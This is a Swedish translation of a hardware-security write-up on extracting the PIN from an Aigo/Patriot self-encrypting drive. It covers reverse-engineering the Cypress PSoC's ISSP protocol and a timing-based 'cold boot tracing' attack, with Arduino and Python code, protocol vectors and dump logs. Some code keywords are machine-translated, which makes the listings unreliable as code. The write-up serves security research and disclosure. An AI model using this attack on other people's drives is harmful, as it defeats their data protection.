Detta Àr den andra och avslutande delen av artikeln om hackning av externa sjÀlvskrypterande enheter. Jag pÄminner om att min kollega nyligen gav mig hÄrddisken Patriot (Aigo) SK8671, som jag bestÀmde mig för att ÄtervÀnda, och nu delar jag med mig av resultaten. Innan du lÀser vidare, se till att du gör dig bekant med artiklar.

4. Vi börjar ta en dump frÄn den interna flashminnet PSoC
SÄ allt tyder pÄ (som vi faststÀllde i [den första delen]()), att pinkoden lagras i flashminnet hos PSoC. DÀrför behöver vi lÀsa dessa flashminnen. Fronterna för vÄrt arbete Àr:
- att ta kontroll över "kommunikationen" med mikrokontrollern;
- att hitta ett sÀtt att kontrollera om denna "kommunikation" Àr skyddad mot extern avlÀsning;
- att hitta ett sÀtt att kringgÄ skyddet.
Det finns tvÄ stÀllen dÀr det Àr meningsfullt att leta efter en fungerande pinkod:
- intern flashminne;
- SRAM, dÀr pinkoden kan lagras för att jÀmföra den med den pinkod som anvÀndaren anger.
Som en förhandsvisning kan jag nĂ€mna att jag faktiskt lyckades ta en dump av det interna flashminnet hos PSoC, â genom att kringgĂ„ dess skyddssystem, via en hĂ„rdvaruattack "spĂ„rning med kall omstart" â efter att ha Ă„tervĂ€nt otokumenterade funktioner av ISSP-protokollet. Detta gjorde det möjligt för mig att direkt ta en dump av den aktuella pinkoden.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Den slutliga programkoden:
- ;
- .
5. ISSP-protokoll
5.1. Vad Àr ISSP
"Kommunikationen" med mikrokontrollern kan betyda olika saker: frÄn "tillverkare till tillverkare", till interaktion med anvÀndning av seriella protokoll (t.ex. ICSP för Microchip's PIC).
För Cypress finns det ett eget proprietÀrt protokoll, kallat ISSP (in-system serial programming protocol; intranÀtets seriella programmeringsprotokoll), som delvis beskrivs i . ger Àven viss information. Det finns ocksÄ en OpenSource-analog kallad HSSP (vi kommer att anvÀnda den lite senare). ISSP fungerar pÄ följande sÀtt:
- starta om PSoC;
- skicka ut det magiska talet pÄ datalinjen för denna PSoC; för att gÄ in i extern programmeringslÀge;
- skicka kommandon som bestÄr av lÄnga bitstrÀngar, kallade "vektorer".
I dokumentationen för ISSP definieras dessa vektorer endast för en liten handfull kommandon:
- Initialize-1
- Initialize-2
- Initialize-3 (varianter 3V och 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, dÀr dddddddd=block #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, dÀr DDDDDDDD = dataut, aaaaaa = adress (6 bitar)
- WRITE-BYTE: 10010aaaaaadddddddd111, dÀr dddddddd = datain, aaaaaa = adress (6 bitar)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, dÀr DDDDDDDDDDDDDDDD = dataut: kontrollsumma för enheten
- ERASE BLOCK
Till exempel, vektorn för Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Alla vektorer har samma lÀngd: 22 bitar. I dokumentationen för HSSP finns nÄgra ytterligare upplysningar om ISSP: "ISSP-vektorn Àr inget annat Àn en bitsekvens som representerar en uppsÀttning instruktioner".
5.2. Avmystifiering av vektorer
Vi ska ta reda pÄ vad som hÀnder hÀr. Jag antog ursprungligen att dessa vektorer Àr raw-varianter av M8C-instruktioner, men efter att ha kontrollerat denna hypotes upptÀckte jag att operationens opkoder inte stÀmmer överens.
Sedan googlade jag den ovanstÄende vektorn och stötte pÄ forskningsarbete, dÀr författaren, Àven om han inte dyker ner i detaljer, ger nÄgra anvÀndbara ledtrÄdar: "Varje instruktion börjar med tre bitar som motsvarar en av fyra mnemonics (lÀsa frÄn RAM, skriva till RAM, lÀsa register, skriva register). DÀrefter kommer en 8-bitars adress, följt av 8 bitar data (lÀsta eller för skrivning) och slutligen tre stopp-bitar."
Sedan lyckades jag fĂ„ tag pĂ„ mycket nyttig information frĂ„n avsnittet "Supervisory ROM (SROM)" . SROM Ă€r en hĂ„rdkodad ROM i PSoC som tillhandahĂ„ller servicetjĂ€nster (pĂ„ liknande sĂ€tt som Syscall) â för programkod som körs i anvĂ€ndarutrymme:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Genom att jÀmföra vektorernas namn med SROM-funktionerna kan vi koppla samman de olika operationer som stöds av detta protokoll med de förvÀntade SROM-parametrarna. Tack vare detta kan vi avkoda de första tre bitarna av ISSP-vektorerna:
- 100 => âwrmemâ
- 101 => ârdmemâ
- 110 => âwrregâ
- 111 => ârdregâ
Men en fullstÀndig förstÄelse av de interna chip-processerna kan endast uppnÄs genom direkt kommunikation med PSoC.
5.3. Kommunikation med PSoC
Eftersom Dirk Petrahutski redan Cypress HSSP-kod till Arduino, anvÀnde jag Arduino Uno för att ansluta till ISSP-porten pÄ tangentbordet.
Observera att jag under min forskning gjorde betydande Àndringar i Dirks kod. Min modifiering kan hittas pÄ GitHub: och motsvarande Python-skript för att kommunicera med Arduino i mitt förrÄd .
SÄ, nÀr jag anvÀnde Arduino anvÀnde jag först endast de "officiella" vektorerna för "kommunikation". Jag försökte lÀsa den interna ROM:en med kommandot VERIFY. Som förvÀntat lyckades jag inte med detta. Troligtvis för att bitarna för skydd mot avlÀsning Àr aktiverade inuti flashminnet.
DÀrefter skapade jag nÄgra av mina egna enkla vektorer för att skriva och lÀsa minnen/registret. Observera att vi kan lÀsa hela SROM, trots att flashminnet Àr skyddat!
5.4. Identifiering av interna chip-register
Genom att titta pÄ de "dissassemblerade" vektorerna upptÀckte jag att enheten anvÀnder odokumenterade register (0xF8-0xFA) för att ange M8C-opkoder som körs direkt, förbi skyddet. Detta gjorde att jag kunde köra olika opkoder som "ADD", "MOV A, X", "PUSH" eller "JMP". Genom att observera de bieffekter som de hade pÄ registren kunde jag avgöra vilka av de odokumenterade registren som faktiskt Àr vanliga register (A, X, SP och PC).
Som ett resultat ser den "dissassemblerade" koden, genererad av verktyget HSSP_disas.rb, ut sÄ hÀr (för tydlighetens skull har jag lagt till kommentarer):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # ÄterstÀll flaggor
[DE C0 1C] wrreg SP (f6), 0x00 # ÄterstÀll SP
[9F 07 5C] wrmem KEY1, 0x3A # obligatoriskt argument för SSC
[9F 20 7C] wrmem KEY2, 0x03 # pÄ samma sÀtt
[DE A0 1C] wrreg PCh (f5), 0x00 # ÄterstÀll PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... upp till 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-peking för utdata
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opkod 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opkod 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID för att anropa SSC
[DE 00 DC] wrreg A (f0), 0x06 # "Syscall"-nummer: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opkod för SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Icke dokumenterad operation: utför extern opkod
5.5. Skyddsbit
Vid det hÀr laget kan jag redan kommunicera med PSoC, men jag har fortfarande ingen pÄlitlig information om skyddsbitarna för flashminnet. Jag blev mycket förvÄnad över att Cypress inte ger anvÀndaren av enheten nÄgot sÀtt att kontrollera om skyddet Àr aktiverat. Jag grÀvde djupt i Google för att helt förstÄ att HSSP-koden som tillhandahÄlls av Cypress hade uppdaterats efter att Dirk hade slÀppt sin modifiering. Och hÀr! En ny vektor dök upp:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # okÀnda argument
[9F E0 1C] wrmem 0xFF, 0x00 # pÄ samma sÀtt
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # icke dokumenterad syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Genom att anvÀnda denna vektor (se read_security_data i psoc.py) fÄr vi alla skyddsbitars vÀrden i SRAM vid 0x80, dÀr varje skyddad block har tvÄ bitar.
Resultatet Ă€r nedslĂ„ende: allt Ă€r skyddat i lĂ€get "avaktivera extern lĂ€sning och skrivning". DĂ€rför kan vi inte bara lĂ€sa frĂ„n flashminnet, utan Ă€ven skriva till det (till exempel för att införa en ROM-dumpare). Det enda sĂ€ttet att inaktivera skyddet Ă€r att helt radera hela chipet. đ
6. Den första (misslyckade) attacken: ROMX
Men vi kan försöka med ett trick: eftersom vi har möjlighet att köra godtyckliga opkoder, varför inte utföra ROMX som anvÀnds för att lÀsa flashminnet? Denna metod har goda chanser att lyckas. Eftersom funktionen ReadBlock, som lÀser data frÄn SROM (som anvÀnds av vektorer), kollar om den anropas frÄn ISSP. Men opkoden ROMX har antagligen ingen sÄdan kontroll. SÄ hÀr Àr Python-koden (efter att ha lagt till nÄgra hjÀlpkopplade klasser i C-koden för Arduino):
för i i intervallet (0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX lÀser ROM[A|X] till A
print "x" % ord(byte[0]) # skriv ut ROM-byteTyvĂ€rr fungerar denna kod inte. đ Ăven om den gör det, fĂ„r vi vĂ„ra egna opkoder (0x28 0x30 0x40)! Jag tror inte att den motsvarande funktionen hos enheten Ă€r ett skydd mot lĂ€sning. Det liknar mer ett ingenjörstrick: nĂ€r externa opkoder körs, omdirigeras ROM-bussen till en buffert.
7. Den andra attacken: spÄrning med kall omstart
Eftersom tricket med ROMX misslyckades, började jag fundera pĂ„ en annan variation av detta trick â beskriven i publikationen .
7.1. Genomförande
I dokumentationen för ISSP anges följande vektor för CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12HĂ€r kallas i princip SROM-funktionen 0x07, som anges i dokumentationen (kursiv min):
Denna funktion kontrollerar kontrollsumman. Den berĂ€knar en 16-bitars kontrollsumma av det antal block som anvĂ€ndaren anger â i ett flashminne, rĂ€knat frĂ„n noll. Parametern BLOCKID anvĂ€nds för att ange antalet block som ska anvĂ€ndas för berĂ€kningen av kontrollsumman. VĂ€rdet «1» berĂ€knar kontrollsumman endast för nollblocket; medan «0» innebĂ€r att den totala kontrollsumman för alla 256 block av flashminnet kommer att berĂ€knas. Den 16-bitars kontrollsumman returneras via KEY1 och KEY2. I parameteret KEY1 lagras de lĂ€gre 8 bitarna av kontrollsumman, och i KEY2 â de högre 8 bitarna. För enheter med flera flashminnen anropas kontrollsumman för varje enhet individuellt. Flashbankens nummer, som den ska arbeta med, anges av registret FLS_PR1 (genom att stĂ€lla in den bit som motsvarar mĂ„l-flashbanken).
Observera att detta Àr en mycket enkel kontrollsumma: bajter summeras helt enkelt en efter en; inga avancerade CRC-tricks. Dessutom, med vetskap om att registeruppsÀttningen i M8C-kÀrnan Àr mycket liten, antog jag att mellanliggande vÀrden under berÀkningen av kontrollsumman skulle lagras i samma variabler som slutligen skulle gÄ ut: KEY1 (0xF8) / KEY2 (0xF9).
SÄ, i teorin ser min attack ut sÄ hÀr:
- Anslut via ISSP.
- Starta berÀkningen av kontrollsumman med CHECKSUM-SETUP vektorn.
- Starta om processorn efter en angiven tid T.
- LÀs RAM för att fÄ den aktuella kontrollsumman C.
- Upprepa steg 3 och 4, varje gÄng öka T lite.
- à terstÀll data frÄn flashminnet genom att subtrahera den tidigare kontrollsumman C frÄn den aktuella.
Dock uppstod ett problem: vektorn Initialize-1, som vi mÄste skicka efter omstart, överskriver KEY1 och KEY2:
1100101000000000000000 # Magin som sÀtter PSoC i programmeringslÀge
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrollsumman skrivs över hÀr
[9F 20 7C] wrmem KEY2, 0x03 # och hÀr
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-funktion 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Denna kod överskriver vÄr vÀrdefulla kontrollsumma genom att anropa Calibrate1 (SROM-funktion 9)⊠Kanske lyckas vi genom att bara skicka det magiska numret (frÄn början av ovanstÄende kod) gÄ in i programmeringslÀge och sedan lÀsa SRAM? Och ja, det fungerar! Arduino-koden som implementerar denna attack Àr ganska enkel:
fall Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
annars {
ms_delay = 0;
}
send_checksum_v();
om(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- LĂ€s checkum_delay.
- Starta berÀkningen av kontrollsumman (send_checksum_v).
- VÀnta en angiven tidsperiod; med hÀnsyn till följande fallgropar:
- Jag har slösat bort massor av tid innan jag insÄg att fungerar korrekt endast med fördröjningar som inte överstiger 16383 ”s;
- och sedan slösade jag lika mycket tid tills jag upptÀckte att delayMicroseconds, om man ger den 0 som input, fungerar helt felaktigt!
- Starta om PSoC i programmeringslÀge (skicka bara det magiska numret, utan att skicka initierande vektorer).
Den slutgiltiga koden i Python:
för delay i intervallet (0, 150000): # fördröjning i mikrosekunder
för i i intervallet (0, 10): # antal lÀsningar för varje fördröjning
försök:
reset_psoc(quiet=True) # omstart och gÄ in i programmeringslÀge
send_vectors(); # skicka initieringsvektorer
ser.write("x85"+struct.pack(">I", delay)) # berÀkna kontrollsumman + starta om efter fördröjning
res = ser.read(1); # lÀs arduino ACK
utom Exception som e:
print e;
ser.close();
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null");
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5); # öppna seriell port
fortsÀtta;
print "d X X X" % (delay, # lÀs RAM-byte
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Kort sagt, vad gör den hÀr koden:
- Den startar om PSoC (och skickar det magiska numret till den).
- Den skickar fullstÀndiga initieringsvektorer.
- Den anropar Arduino-funktionen Cmnd_STK_START_CSUM (0x85), dÀr fördröjningen i mikrosekunder skickas som parameter.
- Den lÀser kontrollsumman (0xF8 och 0xF9) och den outnyttjade registret 0xF1.
Denna kod körs 10 gÄnger per mikrosekund. 0xF1 Àr inkluderad hÀr eftersom det var det enda registret som Àndrades vid berÀkning av kontrollsumman. Det kan vara en temporÀr variabel som anvÀnds av den aritmetisk-logiska enheten. Observera den fula hacken genom vilken jag startar om Arduino, med hjÀlp av picocom, nÀr Arduino slutar ge livstecken (jag har ingen aning om varför).
7.2. LĂ€sa resultatet
Resultatet av Python-skriptet ser ut sÄ hÀr (förenklat för lÀsbarhet):
DELAY F1 F8 F9 # F1 â den ovan nĂ€mnda okĂ€nda registret
# F8 lÀgre byte av kontrollsumman
# F9 högre byte av kontrollsumman
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # kontrollsumman nollstÀlls till 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1:a byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2:a byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # jag har ingen aning om vad som hÀnder hÀr
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Ă
terigen E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ă
h, jag förstÄr! Det Àr överföringen till högre byte
00063 01 17 01
[...]
00075 CC 17 01 # SĂ„, 0x117-0xE7: 0x30Vi har dock ett problem: eftersom vi hanterar den faktiska kontrollsumman, Ă€ndrar inte null byte det lĂ€sta vĂ€rdet. Men eftersom hela berĂ€kningsproceduren (8192 byte) tar 0,1478 sekunder (med smĂ„ avvikelser vid varje körning), vilket motsvarar cirka 18,04 ”s per byte, â kan vi anvĂ€nda den tiden för att kontrollera vĂ€rdet av kontrollsumman vid lĂ€mpliga tidpunkter. För de första genomgĂ„ngarna lĂ€ses allt ganska enkelt, eftersom tiden för att utföra berĂ€kningsproceduren alltid Ă€r nĂ€stan densamma. Men slutet av dumpen Ă€r mindre exakt, eftersom "obetydliga tidsavvikelser" vid varje körning â summeras och blir signifikanta:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDDet Àr 10 dumpningar för varje mikrosekunds fördröjning. Den totala tiden för att ta dumpen av alla 8192 byte frÄn flashminnet, Àr cirka 48 timmar.
7.3. à terstÀllning av flash-binÀrfil
Jag har Ànnu inte avslutat skrivandet av koden som fullstÀndigt ÄterstÀller flashminnets programkod, med hÀnsyn till alla tidsavvikelser. Men jag har redan ÄterstÀllt början av koden. För att sÀkerstÀlla att jag har gjort detta korrekt, disassemblerade jag den med hjÀlp av m8cdis:
0000: 80 67 jmp 0068h ; Ă
terstÀllningsvektor
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging-lÀge Àndrat frÄn 3 till 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retDet verkar helt trovÀrdigt!
7.4. Vi hittar adressen för lagring av pinkoden
Nu nÀr vi kan lÀsa kontrollsumman vid de tidpunkter vi behöver, kan vi enkelt kontrollera hur och var den Àndras nÀr vi:
- anger felaktig pinkod;
- Àndrar pinkod.
I början, för att hitta en ungefÀrlig lagringsadress, tog jag en dump av kontrollsumman med ett intervall pÄ 10 ms efter omstart. Sedan angav jag en felaktig pinkod och gjorde samma sak.
Resultatet var inte sĂ„ trevligt, eftersom det fanns mĂ„nga förĂ€ndringar. Men till slut lyckades jag faststĂ€lla att kontrollsumman förĂ€ndrades nĂ„gonstans mellan 120000 ”s och 140000 ”s fördröjning. Men "pinkoden" som jag upptĂ€ckte dĂ€r var helt fel â pĂ„ grund av artefakten i delayMicroseconds-proceduren, som gör mĂ€rkliga saker nĂ€r den fĂ„r 0 som parameter.
Sedan, efter att ha spenderat nÀstan 3 timmar, kom jag ihÄg att SROM-systemanropet CheckSum tar ett argument som anger antalet block för kontrollsumman! SÄledes kan vi enkelt lokalisera adressen för lagring av pinkoden och rÀknaren för "felaktiga försök", med noggrannhet till 64-bytes block.
Mina initiala körningar gav följande resultat:

Sedan Àndrade jag pinkoden frÄn "123456" till "1234567" och fick:

SÄledes verkar pinkoden och rÀknaren för felaktiga försök lagras i block nr 126.
7.5. Tar dumpen av block nr 126
Block nr 126 bör ligga nÄgonstans runt 125x64x18 = 144000”s, frÄn början av berÀkningen av kontrollsumman, i min fullstÀndiga dump, och det verkar helt trovÀrdigt. Sedan, efter manuellt utsortering av mÄnga felaktiga dumps (pÄ grund av uppsamling av "obetydliga tidsavvikelser"), fick jag tills slut följande bytes (vid 145527”s fördröjning):

Det Àr uppenbart att PIN-koden lagras i okrypterad form! Dessa vÀrden Àr visserligen inte skrivna i ASCII-koder, men de speglar tydligen vÀrden som tagits frÄn en kapacitativt tangentbord.
Ăntligen har jag genomfört nĂ„gra fler tester för att hitta var rĂ€knaren för felaktiga försök lagras. HĂ€r Ă€r resultaten:

0xFF â betyder "15 försök", och den minskar vid varje felaktigt försök.
7.6. à terstÀllning av PIN-koden
HÀr Àr min fula kod som samlar allt ovanstÄende:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"};
last_csum = 0;
pin_bytes = [];
för delay i intervallet (145495, 145719, 16):
csum = csum_at(delay, 1);
byte = (csum-last_csum)&0xFF;
print "d x (x) => x" % (delay, csum, last_csum, byte);
pin_bytes.append(byte);
last_csum = csum;
print "PIN: ";
för i i intervallet (0, len(pin_bytes)):
om pin_bytes[i] i pin_map:
print pin_map[pin_bytes[i]],
printHÀr Àr resultatet av dess körning:
$ .\/psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hooray! Det fungerar!
Observera att de fördröjningsvĂ€rden jag anvĂ€nde troligen Ă€r aktuella för en specifik PSoC â den jag anvĂ€nde.
8. Vad hÀnder hÀrnÀst?
SÄ, lÄt oss sammanfatta vad som sidans pÄ PSoC, i kontexten av vÄr Aigo-enhet:
- Vi kan lÀsa frÄn SRAM, Àven om den Àr skyddad mot avlÀsning;
- Vi kan kringgÄ skyddet mot avlÀsning genom att utföra en "cold boot tracing" attack och direkt avlÀsning av PIN-koden.
ĂndĂ„ har vĂ„r attack vissa brister â pĂ„ grund av synkroniseringsproblem. Den kan förbĂ€ttras pĂ„ följande sĂ€tt:
- Utveckla ett verktyg för korrekt avkodning av utdata som erhÄllits frÄn "cold boot tracing" attacken;
- AnvÀnda en FPGA-tillÀgg för att skapa mer exakta tidsfördröjningar (eller anvÀnda hÄrdvarutimerar frÄn Arduino);
- försöka en annan attack: skriva in en avsiktligt felaktig PIN-kod, starta om och dumpa RAM, i hopp om att den korrekta PIN-koden finns kvar i RAM för jÀmförelse. Men pÄ Arduino Àr det inte sÄ enkelt, eftersom signalnivÄn för Arduino Àr 5 volt, medan det kort vi undersöker arbetar med signaler pÄ 3,3 volt.
En intressant sak som man skulle kunna prova Àr att leka med spÀnningsnivÄn för att kringgÄ skyddet mot lÀsning. Om en sÄdan metod skulle fungera, skulle vi kunna fÄ helt exakta data frÄn flash-minnet, istÀllet för att förlita oss pÄ att lÀsa kontrollsumman med osÀkra tidsfördröjningar.
Eftersom SROM sannolikt lĂ€ser skyddsbitarna via systemanropet ReadBlock, skulle vi kunna göra samma sak som i Dmitrij Nedospasovs blogg â en Ă„terimplementering av Chris Gerlinzkys attack, som publicerades pĂ„ konferensen .
En annan rolig sak som man skulle kunna göra Àr att slipa av kapslingen frÄn chipet: för att ta en dump av SRAM, identifiera dokumenterade systemanrop och sÄrbarheter.
9. Slutsats
SĂ„ skyddet av denna enhet lĂ€mnar mycket att önska, eftersom den anvĂ€nder en vanlig (inte âhĂ€rdadâ) mikrokontroller för att lagra PIN-koden⊠Plus att jag Ă€nnu inte har kollat (Ă€n) hur det stĂ„r till med datakrypteringen pĂ„ denna enhet!
Vad kan man rekommendera för Aigo? Genom att analysera ett par modeller av krypterade HDD-enheter gjorde jag 2015 pĂ„ SyScan, dĂ€r jag diskuterade sĂ€kerhetsproblem med flera externa HDD-enheter, och gav rekommendationer om vad som skulle kunna förbĂ€ttras. đ
Jag lade tvÄ helger och nÄgra kvÀllar pÄ denna forskning. Totalt cirka 40 timmar. FrÄn början (nÀr jag öppnade disken) till slutet (dump av PIN-koden). Dessa 40 timmar inkluderar Àven tiden jag lade ner pÄ att skriva denna artikel. En mycket fascinerande resa.
KĂ€lla: habr.com
